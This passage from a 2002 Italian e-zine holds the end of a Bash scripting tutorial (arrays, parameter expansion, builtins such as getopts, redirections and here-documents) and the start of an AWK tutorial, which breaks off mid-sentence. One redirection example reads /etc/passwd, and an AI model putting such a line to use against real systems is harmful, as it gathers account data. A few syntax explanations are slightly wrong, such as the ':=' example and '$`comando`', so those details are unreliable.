| ogni valore deve essere specificato con la sintassi |
| |
| [indice]=valore |
| |
| altrimenti, se "[indice]=" viene omesso, la shell assegnerà il primo |
| indice libero al valore. |
| |
| Per richiamare un valore di un array, si utilizza la forma |
| |
| ${nome[indice]} # Le {} sono necessarie per evitare |
| # confusioni :-P |
| |
| Per indicare tutti gli elementi di un array: |
| |
| ${nome[*]} # oppure ${nome[@]} |
| |
| Come per i parametri posizionali, se ${nome[indice]} è circondato da |
| apici doppi, l' * restituirà un'unica parola con tutti gli elementi |
| dell'array, separati da uno spazio, mentre la @ restituirà una |
| parola per ogni elemento. |
| |
| Con |
| |
| ${#nome[*]} # anche qui è l'equivalente di ${nome[@]} |
| |
| ottengo il numero di elementi dell'array. Nel caso faccia |
| riferimento al solo nome dell'array senza specificare l'indice (come |
| se fosse una normale variabile), la shell sottintenderà l'indice 0. |
| |
| echo $arrei # stampa: Sono l'elemento numero uno! ;-) |
| |
| Per eliminare un elemento dell'array, oppure l'intero array, si |
| utilizza il comando UNSET. Per comandi come declare, local, e |
| readonly è possibile utilizzare un'opzione -a per specificare che si |
| sta utilizzando un array. |
| |
| |
| ESPANSIONE |
| |
| Come sopra detto, è possibile utilizzare notazioni "contratte" per |
| riferirsi a più parole. I tipi di sostituzione, nell'ordine, sono i |
| seguenti: |
| |
| - PARENTESI GRAFFE |
| |
| E' possibile, con la sintassi |
| |
| prefisso{parola_1,parola_2,parola_n}suffisso |
| |
| Specificare dei persorsi alternativi. Ad esempio con |
| |
| /usr/local/src/bash/{old,new,dist}/* |
| |
| ci si può riferire a tutti i files contenuti nelle dir |
| |
| /usr/local/src/bash/old |
| /usr/local/src/bash/new |
| /usr/local/src/bash/dist |
| |
| Si può anche nidificare più parentesi graffe. Nel caso invece ci si |
| voglia riferire ad esse per il loro significato letterale, vanno |
| protette con il carattere "\" (vedere QUOTING). Stessa cosa vale per |
| la virgola, ora usata come separatore. |
| |
| - TILDE |
| |
| Se in una stringa è presente una tilde non quotata (~ non preceduta |
| da \), allora essa sarà considerata equivalente a $HOME; se sono |
| presenti degli / dopo la tilde, la shell allora cercherà un percorso |
| all'interno della dir dell'utente (~/tmp == /home/domine/tmp), |
| altrimenti tutto ciò che seguirà la tilde sarà considerato come uno |
| user name (quindi ~root sarà uguale a /root, home di quell'utente). |
| Esistono inoltre le variabili ~+ e ~- equivalenti a $PWD e $OLDPWD. |
| |
| - PARAMETRI E VARIABILI |
| |
| L'espansione dei parametri e delle variabili viene introdotta dal |
| carattere $, seguito dal nome della variabile; le parentesi graffe, |
| opzionali, servono quando non vogliamo che del testo sia confuso col |
| nome della variabile; sono invece obbligatorie nel caso di parametri |
| posizionali a più cifre. |
| |
| Data la variabile |
| |
| testo="ba" |
| |
| se volessi aggiungere a quella variabile le lettere "sh" in modo da |
| formare un'altra parola, dovrei usare la sintassi |
| |
| echo ${testo}sh |
| |
| poichè se avessi indicato $testosh la shell avrebbe cercato invece |
| un'altra variabile, inesistente. |
| |
| Nel caso il nome della variabile sia preceduto da un !, la shell |
| intenderà che il valore in essa contenuto sarà uguale al nome di |
| un'altra variabile, che sarà a sua volta espansa nel valore che |
| contiene (espansione indiretta). Esempio: |
| |
| UNO="DUE" |
| DUE="TRE" |
| echo ${!UNO} # stamperà TRE |
| |
| I costrutti che ora seguiranno verificano la presenza della variabile |
| VAR e, se vuota o non dichiarata, eseguiranno diverse operazioni: |
| |
| ${VAR:-parola} Definisce una parola predefinita nel caso VAR non |
| esista |
| |
| Es. echo ${VAR:-blabla} # Stampa "blabla" |
| |
| |
| ${VAR:=parola} Uguale al precedente, ma inoltre assegna un valore |
| a VAR |
| |
| Es. echo ${VAR:-blabla}; echo $VAR # nel caso del secondo echo VAR |
| # ha un valore |
| |
| |
| ${VAR:?parola} Definisce il messaggio dello standard error |
| |
| Es. echo ${VAR:?Variabile non definita} |
| # bash: VAR: Variabile non definita |
| |
| |
| ${VAR:+parola} Cambia il valore della variabile nel caso questa NON |
| sia vuota |
| |
| Es. echo ${VAR:+parola} # Stamperà "". Se VAR avesse un valore, |
| # stamperebbe"parola" |
| |
| |
| ${VAR:offset:length} Stampa numero length caratteri a partire dal |
| carattere numero offset (length dev'essere |
| maggiore di 0, se è omesso verrà stampata la |
| variabile da offset fino alla fine). |
| |
| Es. PROVA="Vercingitorige"; echo ${PROVA:8:4} # Stampa "tori" |
| |
| |
| ${!prefisso*} Espande al nome delle variabili che cominciano per |
| prefisso. |
| |
| ${#VAR} Restituisce il numero di caratteri in una variabile |
| (oppure il numero di parametri posizionali, nel caso |
| di * e @). |
| |
| - COMANDI |
| |
| E' possibile interagire con i risultati di un qualsiasi comando con |
| la sintassi |
| |
| $(comando) |
| |
| oppure |
| |
| $`comando` # !! Attento !! Apici INVERSI (` == Alt Gr + ') |
| |
| Es. FILES=$(ls -l *) # Assegna a FILES i file contenuti nella dir |
| # corrente |
| |
| cp $(find ~ -name "*.txt") ~/txt # Copia tutti i file txt |
| # in una dir |
| |
| I comandi possono essere annidati (nel caso degli apici, vanno |
| protetti con \) |
| |
| - ARITMETICA |
| |
| Con la sintassi |
| |
| $((espressione)) |
| |
| la shell sostituirà ad una espressione il suo risultato. |
| |
| Es. NUM=3 ; echo "$(((2+2)*$NUM))" # Stamperà 12 |
| |
| Anche le espressioni possono essere annidate. Per quanto riguarda gli |
| operatori, valgono tutti quelli degli altri linguaggi di |
| programmazione (li avete anche studiati alle elementari... +, -, *, |
| / !!!) |
| |
| - SUDDIVISIONE DELLE PAROLE |
| |
| La shell cerca innanzitutto di suddividere in parole ciò che è |
| contenuto in apici doppi (") |
| |
| Es. echo "b*" # Stampa tutti i file che cominciano per "b" |
| |
| Le parole vengono suddivise tra loro dal primo carattere della |
| variabile IFS (lo spazio). Nel caso seguente |
| |
| PROVA="b*" ; echo "$PROVA" |
| |
| verrà stampato però il contenuto letterale di $PROVA ("b*"). |
| |
| - PERCORSO (PATHNAME) |
| |
| Alla presenza dei metacaratteri *,?,[] la shell sostituisce un |
| elenco ordinato alfabeticamente dei riscontri verificati (vedi ls *) |
| |
| * Vale per qualsiasi stringa, compresa quella vuota |
| ? Vale per qualunque carattere singolo |
| [abcn] Vale per i caratteri all'interno delle parentesi |
| (soltanto a,b,c ed n quindi) |
| [a-z] Vale per l'intervallo di caratteri compreso fra quelli |
| specificati (quindi le lettere dalla a alla z) |
| |
| Utilizzando il punto esclamativo subito dopo la [, si inverte il |
| significato del contenuto delle parentesi. Nel caso si voglia |
| comprendere negli intervalli il - e le parentesi [ ], questi simboli |
| vanno specificati all'inizio o alla fine del gruppo di caratteri. |
| |
| |
| COMANDI INTERNI (BUILTINS) |
| |
| Ecco una lista dei principali builtin, comandi appartenenti alla |
| shell e non a binari esterni. (per saperne di più: rtfm! :-P) |
| |
| - . (SOURCE) |
| |
| . file [argomenti] |
| source file [argomenti] |
| |
| Esegue i comandi contenuti all'interno di FILE. Se non viene |
| specificato il percorso (assenza di /), la shell cerca il file |
| all'interno delle dir indicate in $PATH. Gli argomenti passati |
| tramite source diventano i parametri posizionali del file eseguito. |
| Restituisce lo stato dell'ultimo comando eseguito all'interno del |
| file, oppure falso se il file non esiste. |
| |
| - ALIA

  
S |
| |
| alias [-p] [nome[=valore] ...] |
| |
| Permette di definire delle scorciatoie per richiamare comandi più |
| lunghi. Il solo "alias" oppure "alias -p" stampano sullo schermo la |
| lista degli alias definiti. |
| |
| alias ls='ls -al' # un classico :-) |
| |
| - BG |
| |
| bg [nome_del_job] |
| |
| Esegue un comando in background (ossia la shell non attende il |
| termine della sua esecuzione ma mostra ancora il prompt mentre il |
| comando esegue delle operazioni). L'equivalente della sintassi |
| nome_comando& . Se il job non è specificato, viene messo in |
| background il processo attuale. |
| |
| - BREAK |
| |
| break [n] |
| |
| Esce da un loop for, while, until, o select. Si può specificare il |
| numero di livelli da interrompere con la variabile n (nel caso di |
| cicli annidati). La variabile n deve essere maggiore o uguale a 1. |
| Restituisce 0 a meno che non c'è un ciclo da interrompere. |
| |
| - BUILTIN |
| |
| builtin shell-builtin [argomenti] |
| |
| Esegue il builtin specificato, passandogli degli eventuali argomenti. |
| Restituisce il valore del builtin. E' utile quando si dà ad una |
| funzione un nome appartenente ad un comando interno, e si vuole |
| utilizzare comunque quel comando. |
| |
| - CD |
| |
| cd [-LP] [dir] |
| |
| C'è bisogno che ve lo spiego? :-) |
| Cmq le eventuali opzioni P e L forzano il comando a seguire la |
| struttura fisica della directory e non link simbolici, e viceversa. |
| Il valore predefinito di DIR è $HOME, mentre "cd -" carica la dir |
| $OLDPWD . |
| |
| - COMMAND |
| |
| command [-pVv] comando [argomenti] |
| |
| Esegue il comando con gli argomenti specificati; il comando deve |
| essere interno alla shell o presente in un dei percorsi di $PATH, |
| quindi evita che vengano eseguite funzioni dichiarate dallo script. |
| L'opzione -p fa sì che venga utilizzata una serie di percorsi di |
| ricerca predefiniti al posto di $PATH in modo da garantire il |
| riscontro di tutte le utilities standard. Le opzioni -V e -v |
| producono delle informazioni inerenti il comando usato. Se una di |
| queste due opzioni è specificata, nel caso il pogramma sia stato |
| trovato command restituirà 0, altrimenti 1. Se non sono state |
| specificate, nel caso il programma non sia stato trovato, |
| restituisce 127, altrimenti il valore dell'esecuzione del comando. |
| |
| - CONTINUE |
| |
| continue [n] |
| |
| Riprende un ciclo interrotto di tipo for, while, until, o select |
| dall'ultima iterazione eseguita. Tramite n (n>=1), si può ordinare |
| di riprendere il ciclo dall'n-esima iterazione. Nel caso n sia |
| superiore al numero di cicli previsto, continue riprenderà |
| dall'ultimo. |
| |
| - DECLARE |
| |
| declare [-afFirx] [-p] [nome[=valore]] |
| typeset [-afFirx] [-p] [nome[=valore]] |
| |
| Declare è usato per dichiare variabili e assegnargli valori o |
| attributi. Il solo "declare", o "declare -p" mostrano le variabili |
| attive. L'opzione "-F" mostra sullo schermo soltanto i nomi e gli |
| attributi delle funzioni definite, mentre "-f" mostra per intero |
| queste funzioni. Infine: |
| |
| -a Specifica che si tratta di un array |
| -i La variabile è trattata come un numero intero per cui, |
| quando la variabile viene assegnata, viene valutata |
| aritmeticamente. |
| -r Rende una variabile soltanto leggibile, quindi non |
| modificabile nè cancellabile. |
| -x Rende la variabile valida anche per gli altri script |
| (vedi EXPORT) |
| |
| Sostituendo con un "+" il "-", l'opzione viene disattivata (es. +r |
| rende modificabile una variabile) (PS: +a non può distruggere un |
| array). Se utilizzato all'interno di una funzione, declare svolge lo |
| stesso ruolo di local. |
| |
| - ECHO |
| |
| echo [-neE] [argomenti] |
| |
| Stampa gli argomenti, separati da spazi e seguiti da una newline. |
| Restituisce sempre 0. Se "-n" è specificato, la newline finale non |
| viene stampata. Se "-e" viene specificata, vengono abilitati i |
| caratteri di escape sottostanti, mentre "-E" la disabilita, anche |
| nei sistemi in cui è abilitata di default. |
| |
| \a avviso acustico (bell) |
| \b backspace |
| \c impedisce l'inserimento dinewline a fine stringa |
| \e un carattere di escape |
| \f form feed |
| \n nuova linea (newline) |
| \r ritorno a capo (carriage return) |
| \t tabulazione orizzontale |
| \v tabulazione verticale |
| \\ barra obliqua (backslash) |
| \nnn il carattere il cui codice ASCII è il valore ottale di n |
| (ripetuto 3 volte) |
| \xnnn il carattere il cui codice ASCII è il valore esadecimale di n |
| (ripetuto 3 volte) |
| |
| - ENABLE |
| |
| enable [-adnps] [-f file] [nome ...] |
| |
| Abilita o disabilita le shell-builtins. Permette ad un programma |
| avente lo stesso nome di una builtin di essere eseguito senza |
| doverne specificare l'intero percorso. Se "-n" viene specificato, il |
| comando NOME viene disabilitato, altrimenti viene abilitato. Per |
| mostrare le builtin attive si usa "enable" o "enable -p", per quelle |
| disattive "enable -n", per entrambe "enable -a". Con "-f" viene |
| caricato come builtin un eseguibile specificato dal percorso FILE; |
| "-d" invece rimuove una builtin dichiarata con "-f". |
| |
| - EVAL |
| |
| eval [argomenti] |
| |
| Gli argomenti indicati vengono concatenati ed eseguiti come un |
| comando unico. Eval restituirà il valore di ritorno di quel comando. |
| |
| - EXEC |
| |
| exec [-l] [-a nome] [comando [argomenti]] |
| |
| Il comando specificato (con relativi argomenti) viene eseguito e la |
| shell terminata, impedendo il formarsi di nuovi processi. Se viene |
| usato "-l", un trattino viene aggiunto all'argomento numero 0; con |
| "-a", la shell passa NOME come argomento numero zero al programma. |
| |
| - EXIT |
| |
| exit [n] |
| |
| Termina il processo della shell restituendo n. |
| |
| - EXPORT |
| |
| export [-fn] [nome[=parola]] ... |
| export -p |
| |
| Le variabili, gli array o le funzioni (con "-f") specificate vengono |
| rese disponibili per l' ambiente di shell dopo il termine dello |
| script. L'opzione "-n" fa sì che le variabili specificate non |
| possano essere esportate. Se non vengono specificate opzioni oppure |
| se viene utilizzata "-p", viene stampato ciò che è stato esportato. |
| |
| - FG |
| |
| fg [nome_del_job] |
| |
| Pone il job specificato (o l'ultimo processo in background, se non |
| viene specificato) in foreground. |
| |
| - GETOPTS |
| |
| getopts stringa_opzioni nome_variabile [argomenti] |
| |
| Avete presente quegli eseguibili che richiedono degli argomenti per |
| funzionare ? Per dare all'utente la possibilità di indicare allo |
| script dei dati in stile POSIX, getopts viene usato per il parsing |
| dei parametri posizionali. Dato ad esempio il comando |
| |
| $ ./nomescript.sh -h localhost -t 10 |
| |
| sappiamo che la stringa "-h" verrà contenuta in $1, "localhost" in |
| $2 e così via... l'utilizzo di questi argomenti potrebbe diventare |
| complicato, specie visto che l'utente potrebbe indicarli in un |
| ordine diverso da quello previsto. |
| |
| Esaminiamo questo script: |
| |
| #!/bin/bash |
| getopts abc OPT |
| echo "Hai indicato l'argomento $OPT !" |
| |
| provando a lanciarlo si ottiene |
| |
| $ ./script.sh -a |
| Hai indicato l'argomento a ! |
| |
| Getopts ha effettuato il parsing di $@ (eventualmente si può |
| indicare un'altra stringa come terzo argomento di getopts), e nel |
| momento in cui ha verificato l'esistenza di una delle opzioni attese |
| ("-a", "-b" e "-c", indicate dall' "abc" primo argomento di getopts) |
| ha assegnato ad $OPT il nome di questa opzione. |
| |
| Se eseguiamo |
| |
| $ ./script.sh -z |
| ./script.sh: illegal option -- z |
| Hai indicato l'argomento ? ! |
| |
| il parametro "-z" non viene riconosciuto e viene segnalato un |
| errore. E' possibile catturare l'errore verificando che il valore |
| restituito da getopts non sia diverso da zero. |
| |
| #!/bin/bash |
| |
| OPTIND=1 |
| |
| echo $OPTIND |
| getopts a:bc OPT |
| echo "Hai indicato il parametro $OPT = $OPTARG !" |
| |
| echo $OPTIND |
| getopts a:bc OPT |
| echo "Hai indicato il parametro $OPT = $OPTARG !" |
| |
| |
| $ ./script.sh -b -a 213 |
| 1 |
| Hai indicato il parametro b = ! |
| 2 |
| Hai indicato il parametro a = 213 ! |
| |
| |
| Il suddetto script esegue una prima volta getopts, legge il primo |
| parametro indicato, "-b", assegna a $OPT quel valore; poi esegue di |
| nuovo un'istruzione getopts, stavolta leggendo il parametro "-a", e |
| assegnando a $OPT "-a" ed a $OPTARG il valore "213". |
| |
| Come mai, pur se le istruzioni sono identiche, getopts cattura due |
| parametri differenti? Il fatto si spiega perchè getopts legge il |
| parametro indicato dalla variabile $OPTIND: visto che essa è |
| inizialmente settata ad 1 (ricordarsi sempre di farlo), getopts |
| legge "-b", e aumenta $OPTIND di una unità; dopodichè, getopts legge |
| il secondo argomento (poichè $OPTIND ora equivale a 2) e ne stampa |
| nome e valore. |
| |
| Notare che se eseguo |
| |
| $ ./script.sh -a 213 -b |
| 1 |
| Hai indicato il parametro a = 213 ! |
| 3 |
| Hai indicato il parametro b = ! |
| |
| getopts aumenta di 2 unità il valore di $OPTIND poichè il parametro |
| "-a" contiene un argomento, "213"). E' da notare anche che nel |
| momento in cui è stato richiamato getopts, la "a" del suo primo |
| argomento era seguito da ":" ("getopts a:bc OPT"): i due punti |
| indicano all'interprete che il parametro "-a" debba essere |
| obbligatoriamente accompagnato da un argomento. Al contrario, se |
| fossero stati omessi i due punti, l'argomento passato dopo "-a" |
| sarebbe stato semplicemente ignorato, e $OPTARG sarebbe rimasta |
| vuota. |
| |
| Ecco un piccolo script che può mostrare un potenziale utilizzo di |
| getopts: |
| |
| #!/bin/bash |
| |
| OPTIND=1 |
| |
| ERRMSG="ERRORE! Utilizzo: $0 [-a valore] [-b valore] [-c]"; |
| |
| if [ $# = 0 ] |
| then |
| echo $ERRMSG; |
| exit 1; |
| fi |
| |
| while getopts a:b:c OPT |
| do |
| case $OPT in |
| a) A=$OPTARG;; |
| b) B=$OPTARG;; |
| c) C=1;; |
| *) echo $ERRMSG;; |
| esac |
| done |
| |
| if [ $A ] |
| then |
| echo "-a == $A"; |
| fi |
| |
| if [ $B ] |
| then |
| echo "-b == $B"; |
| fi |
| |
| if [ $C ] |
| then |
| echo "-c settato."; |
| else |
| echo "-c non settato."; |
| fi |
| |
| |
| lanciatelo e verificate. |
| |
| - HASH |
| |
| hash [-r] [-p file] [nome] |
| |
| Per ogni comando NOME viene ricercato il percorso in $PATH e viene |
| memorizzato.Il semplice comando "hash" indica tutti i percorsi |
| memorizzati, mentre l'opzione "-r" li cancella. Invece "-p" |
| sostituisce il percorso di NOME col percorso FILE. |
| |
| - HELP |
| |
| help [-s] [percorso] |
| |
| Mostra delle informazioni sul programma specificato. Con "-s" |
| visualizza la sintassi. |
| |
| |
| - KILL |
| |
| kill [-s segnale | -n numero_segnale | -segnale] [pid | nome_job] ... |
| kill -l [numero_segnale | nome_segnale] |
| |
| Manda un segnale (con "-s"; è possibile indicarne anche il numero |
| con "-n") ad un job specificandone il nome o il pid. Con "-l", dato |
| il numero del segnale restituisce il nome, e viceversa. Se il |
| segnale non viene indicato, è sottinteso SIGTERM. |
| |
| - LOCAL |
| |
| local [opzione] [nome[=valore] ...] |
| |
| Dichiara ed assegna un valore alle variabili indicate. Queste |
| variabili avranno visibilità soltanto all'interno della funzione in |
| cui sono state dichiarate. Valgono per local le stesse opzioni di |
| declare. Se non viene utilizzato all'interno di una funzione, |
| restituisce un errore. |
| |
| - PWD |
| |
| pwd [-LP] |
| |
| Restituisce il percorso della directory corrente. Le opzioni servono |
| per far visualizzare rispettivamente link simbolici e collegamenti |
| fisici. |
| |
| - READ |
| |
| read [-rs] [-t timeout] [-a nome_array] [-p prompt] [-n nchars] [-d |
| delim] [name ...] |
| |
| Legge una linea dallo standard input e assegna la prima parola alla |
| prima variabile, la seconda parola alla seconda variabile e così |
| via. Se non vengono indicate sufficienti variabili le parole |
| rimanenti sono assegnate all'ultima. Se non viene specificata alcuna |
| variabile, la riga letta è contenuta da $REPLY. |
| |
| -a Assegna le parole all'array specificato, indicizzandole a |
| partire da 0 |
| -d Il carattere con cui viene terminata la linea (predefinito |
| <newline>) |
| -n Read completa la linea dopo NCHARS caratteri invece di |
| aspettare la pressione di invio. |
| -p Permette di personalizzare il prompt |
| -r Backslash (\) non viene considerato come un carattere di |
| escape |
| -s In modalità silenziosa, i caratteri digitati non sono |
| mostrati |
| -t Attende l'input dell'utente per TIMEOUT secondi |
| |
| - RETURN |
| |
| return [n] |
| |
| Termina una funzione restituendo n (se n è omesso, restituisce lo |
| stato dell'ultima istruzione). |
| |
| - SHIFT |
| |
| shift [n] |
| |
| I parametri posizionalida n+1 in poi diventano $1, $2, $3 e così via. |
| |
| Es. echo $* # mostra gli ipotetici argomenti "a b c d e f" |
| shift 2 # sposta "c" alla posizione $1, "d" a $2 e così via |
| echo $* # stampa "c d e f" |
| |
| La variabile $0 non è coinvolta. Nel caso in cui n sia maggiore di |
| $# non accade nulla. Se n non è definito equivale ad 1. |
| |
| - TEST |
| |
| test espressione |
| [ espressione ] |
| |
| Restituisce 0 o 1 a seconda della valutazione di ESPRESSIONE (vedi |
| ESPRESSIONI CONDIZIONALI). |
| |
| - TYPE |
| |
| type [-atp] nome [nome ...] |
| |
| Indica, se utilizzato senza argomenti, come NOME viene interpretato |
| se usato come un comando. Con l'opzione -t, type stampa una parola |
| tra alias, keyword, function, builtin, o file se NOME è, |
| rispettivamente, alias, termine riservato della shell, funzione, |
| builtin, o file del disco. Se viene utilizzata "-p" mostra il |
| percorso del file se esso fa parte dei comandi eseguibili. L'opzione |
| "-a" stampa tutte le info disponibili di NOME. |
| |
| - UNALIAS |
| |
| unalias [-a] [nome ...] |
| |
| Rimuove l'alias specificato da NOME. Con "-a" vengono rimossi tutti |
| gli alias. |
| |
| - UNSET |
| |
| unset [-fv] [nome ...] |
| |
| Vengono rimosse le variabili specificate ("-v" è sottinteso). |
| Utilizzando "-f" si fa riferimento a funzioni. Se alcune della |
| variabili di shell quali RANDOM, SECONDS, LINENO vengono eliminate, |
| perdono le loro proprietà, anche se vengono redichiarate. |
| |
| |
| REDIREZIONI |
| |
| Gli input e gli output dei programmi possono essere redirezionati |
| tramite degli appositi operatori. Vengono utilizzati inoltre dei |
| canali detti "descrittori di file": |
| |
| 0 standard input (la tastiera) |
| 1 standard output (il monitor) |
| 2 standard error (il monitor) |
| |
| Questi canali predefiniti si occupano dell'interazione con l'utente, |
| ed è grazie ad essi che l'utente fornisce parametri e riceve dei |
| risultati dai vari file. |
| |
| - REDIREZIONE DELL'INPUT |
| |
| [n]<parola |
| |
| Apre un file, indicato dall'espansione di PAROLA, in modalità |
| lettura sullo standard input, o al descritto specificato da n. Da |
| qui può poi essere utilizzato da altri programmi. |
| |
| Es. cat < /etc/passwd # < equivale a 0< (la n si può sottintendere) |
| |
| - REDIREZIONE DELL'OUTPUT |
| |
| [n]>parola |
| |
| Viene aperto, come prima, un file, ma stavolta in modalità |
| scrittura, e su di esso sono scritti i dati provenienti dallo |
| standard output (o dal descrittore specificato da n). E'così |
| possibile copiare su un file i risultati che un programma stampa |
| sullo schermo. |
| |
| Es. ls -l > ls.txt # > equivale a 1> |
| ls -l fileazzo 2> ls.txt # se il file "fileazzo" non esiste, |
| # il messaggio di errore va in ls.txt |
| |
| Se il file da scriver non esiste viene creato, altrimenti viene |
| cancellato e sovrascritto. |
| |
| - REDIREZIONE DELL'OUTPUT IN AGGIUNTA |
| |
| [n]>>parola |
| |
| Anche questo operatore apre (o crea) un file in modalità scrivibile, |
| ma non ne cancella il contenuto nel caso esso contenga dati, ma |
| aggiunge alla fine le righe indicategli. |
| |
| - REDIREZIONE DELLO STANDARD OUTPUT E STANDARD ERROR |
| |
| E' possibile ricondurre contemporaneamente lo standard output e lo |
| standard error verso un unico file. |
| |
| &>word # Questa notazione è quella preferibile |
| >&word |
| |
| - "HERE DOCUMENTS" |
| |
| <<[-]parola |
| here-document |
| delimitatore |
| |
| Con questa sintassi, viene indicato alla shell di leggere input dal |
| codice corrente (oppure dal prompt) fino a quando non viene |
| riscontrata una linea contenente PAROLA (che verrà quindi usata come |
| DELIMITATORE). Nel caso PAROLA sia quotata, nessuna riga |
| nell'"here-document" verrà espansa, e l'unquoting di PAROLA finirà |
| nel nuovo DELIMITATORE. Nel caso si indicato il "-", tutte le |
| tabulazioni iniziali nelle righe dell'"here-document" e del |
| delimitatore vengono eliminate, dando quindi la possibilità di |
| indentare il codice. |
| |
| Per esempio, prova a digitare nell'ordine i seguenti comandi: |
| |
| cat > spesa.txt << EOF |
| mozzarella |
| mortadella |
| fodero (== lo sfilatino :-]) |
| crocca cola |
| EOF |
| |
| Che è stato :-P ? Col primo comando ho prima creato il file vuoto |
| SPESA.TXT, poi ho utilizzato l'HERE DOCUMENTS indicando EOF (End Of |
| File) come parola per terminare la scrittura di quel file; le righe |
| successive, seguite dalla pressione di invio, vengono |
| rispettivamente scritte su SPESA.TXT, dopodichè quando digito EOF |
| ritorna il prompt di shell... andando a fare "cat spesa.txt" |
| ritroverò quello che ho digitato lì dentro :) In pratica, ho usato |
| la shell come editor testuale (ma è utilissimo inserire procedure |
| del genere in script vari). |
| |
| - DUPLICAZIONE DEI DESCRITTORI |
| |
| [n]<&parola |
| [n]>&parola |
| |
| Con il primo si ottienela duplicazione dell'input, col secondo quella |
| dell'output; è quindi possibile abbinare ad un unico descrittore dati |
| provenienti da due sorgenti. |
| |
| Es. find / -name *.txt -print > risultato.log 2>&1 |
| |
| Con questo comando tutti i riscontri positivi di find vanno a finire |
| nel file risultato.log, mentre gli avvisi di errore (per esempio a |
| causa di directory precluse all'utente) vengono contemporaneamente |
| ridirezionati verso lo standard output; in pratica, standard output |
| ed error vengono uniti (magiaaa :]) |
| |
| - APERTURA DI DESCRITTORI IN LETTURA E SCRITTURA |
| |
| [n]<>parola |
| |
| In questo modo il file indicato dall'espansione di PAROLA viene |
| aperto in lettura e scrittura sul descrittore n (0 se non è |
| specificato). |
| |
| |
| THE END (?) |
| |
| Ebbene, credo di aver spiegato tutto il minimo (?!) necessario per |
| comprendere uno script shell (magari potrete decriptare quei famosi |
| file ./configure così misteriosi :-) ). |
| |
| Naturalmente le informazioni non finiscono qui... se volete avere |
| l'onniscienza a riguardo guardatevi "man bash" :-PPP |
| |
| Byez |
| |
| |
| by Domine |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| IRC: Domine @ IRCNet, AzzurraNet |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ LiNUX #07 - 01/08/2002 |
| AWK [Domine] 0x0A/0x19 |
+--------------------------------------------------------------------------+
| AWK - 31/08/2001 - by Domine |
| |
| Mail: domine@paranoici.org |
| WWW: http://www.autistici.org/domine/index.php |
| |
| |
| |
| AWK è un linguaggio di scripting orientato alla ricerca e |
| rielaborazione di stringhe di testo. L'eseguibile AWK (/usr/bin/awk |
| - per trovarlo: which awk) legge le stringhe, raccolte in un file |
| oppure indicate sulla linea di comando, e per ognuna di queste |
| righe, se soddisfano delle condizioni, vengono effettuate delle |
| operazioni. Solitamente si utilizza AWK per leggere da un file |
| sorgente e produrne una copia modificata, senza alterare |
| l'originale; è utile però all'interno di pipelines, in cui l'output |
| di un programma viene prima raffinato da AWK e in seguito viene |
| passato ad un nuovo programma. Il tutto con un esiguo numero di |
| righe :-) |
| |
| In questo testo farò riferimento a GAWK (= GNU AWK), la versione di |
| AWK distribuita coi sistemi linux ed avente delle caratteristiche |
| aggiuntive rispetto a quelle dello standard POSIX. |
| |
| PS: Il nome AWK deriva dalle iniziali dei 3 autori: Aho, Weinberger, |
| Kernighan. |
| |
| |
| |
| ToC: |
| |
| 1) FUNZIONAMENTO GENERALE E TIPI DI PATTERN |
| 2) ESPRESSIONI REGOLARI |
| 3) VARIABILI PREDEFINITE |
| 4) STRUTTURE DI CONTROLLO |
| 5) FUNZIONI INTERNE (BUILT-IN) |
| 6) FUNZIONI DEFINITE DALL'UTENTE |
| 7) OPERATORI |
| 8) ARRAY |
| |
| |
| |
| FUNZIONAMENTO GENERALE E TIPI DI PATTERN |
| |
| La funzione base di AWK, come sopradetto, è di cercare all'interno |
| di files delle linee che contengono determimati percorsi (pattern) e |
| di eseguire su di esse delle istruzioni. |
| |
| Uno script awk è composto da REGOLE formattate così |
| |
| pattern { istruzioni } |
| pattern { istruzioni } |
| ... |
| |
| Ogni linea del testo (detta record) viene passata ad ognuna delle |
| regole indicate, e se avviene il riscontro del pattern vengono |
| eventualmente eseguite le righe fra le { } . Dopodichè, la linea |
| successiva viene fatta passare al vaglio di tutte le regole, e così |
| via fino alla fine del file. |
| |
| Un programma AWK è per questo detto DATA-DRIVEN (ossia viene prima |
| detto quale porzione di testo rielaborare, poi i comandi da |
| eseguire), al contrario di altri linguaggi detti invece PROCEDURALI |
| (vengono indicate una alla volta le istruzioni da effettuare). |
| |
| E' possibile utilizzare AWK sia dal prompt di shell (se le regole |
| sono poche) |
| |
| awk 'programma' file_input1 file_input2 |
| |
| sia attraverso un file eseguibile contenente le regole e questa |
| istruzione iniziale: |
| |
| #!/usr/bin/awk -f |
| |
| Prima di spiegare come sono strutturate le regole, ecco un semplice |
| esempio |
| |
| awk '/parolaccia/ { print $0 }' fileozzo.txt |
| |
| Il seguente comando cerca, all'interno di fileozzo.txt, le righe |
| contenenti il termine "parolaccia" (le / non vi ricordano le RegEx |
| di cui vi ho già parlato in un txt? leggetelo! :] ). Il comando |
| "print $0" provvede a stampare sullo schermo queste righe. Un po' |
| come farebbe il programma grep. |
| |
| PS: Nel caso di "print $0", è possibile omettere anche "$0". |
| PPS: E' possibile utilizzare la classica funzione printf()... see: |
| man printf |
| |
| Nel definire le regole è possibile omettere i pattern, oppure le |
| istruzioni da eseguire (NON si possono omettere entrambi però :-P). |
| Se avessi omesso /parolaccia/ , AWK avrebbe passato al comando TUTTE |
| le righe del file di testo. |
| |
| Se invece avessi omesso { print $0 } l'interprete avrebbe stampato, |
| come all'inizio, le righe contenenti quel determinato termine, |
| poichè print è l'istruzione predefinita di questo linguaggio. |
| |
| Ecco un altro esempiuccio per spiegare il prossimo concetto: |
| |
| ls -la | awk '$3 == "domine" { print $9 " " $5 }' |
| |
| Il seguente comando esegue prima un ls della directory corrente, |
| dopodichè passa ad AWK il risultato, come se fosse un normale file |
| di testo. Ogni riga dell'output di presenta all'inizio simile a |
| questa: |
| |
| -rw-rw-r-- 1 domine domine 2941 ago 31 19:31 awk.txt |
| |
| Ma che cosa compie AWK? Innanzitutto, il record (la riga!!) viene |
| suddiviso in più campi in base ad un determinato carattere (ossia lo |
| spazio); AWK leggerà questa riga come se appartenesse ad una |
| tabella, di cui ogni parola ne rappresenta una colonna (non è |
| determinante il numero di spazi tra una parola è l'altra, per cui è |
| possibile usare anche le tabulazioni). Ogni campo viene assegnato ad |
| una variabile, a partire da $1 in poi, per cui si avrà |
| |
| $1 $2 $3 $4 $5 $6 $7 $8 $9 |
| -rw-rw-r-- 1 domine domine 2941 ago 31 19:31 awk.txt |
| |
| Quindi, al momento in cui detteremo le regole, potremo far |
| riferimento sia alla stringa intera (contenuta da $0) sia ad ognuno |
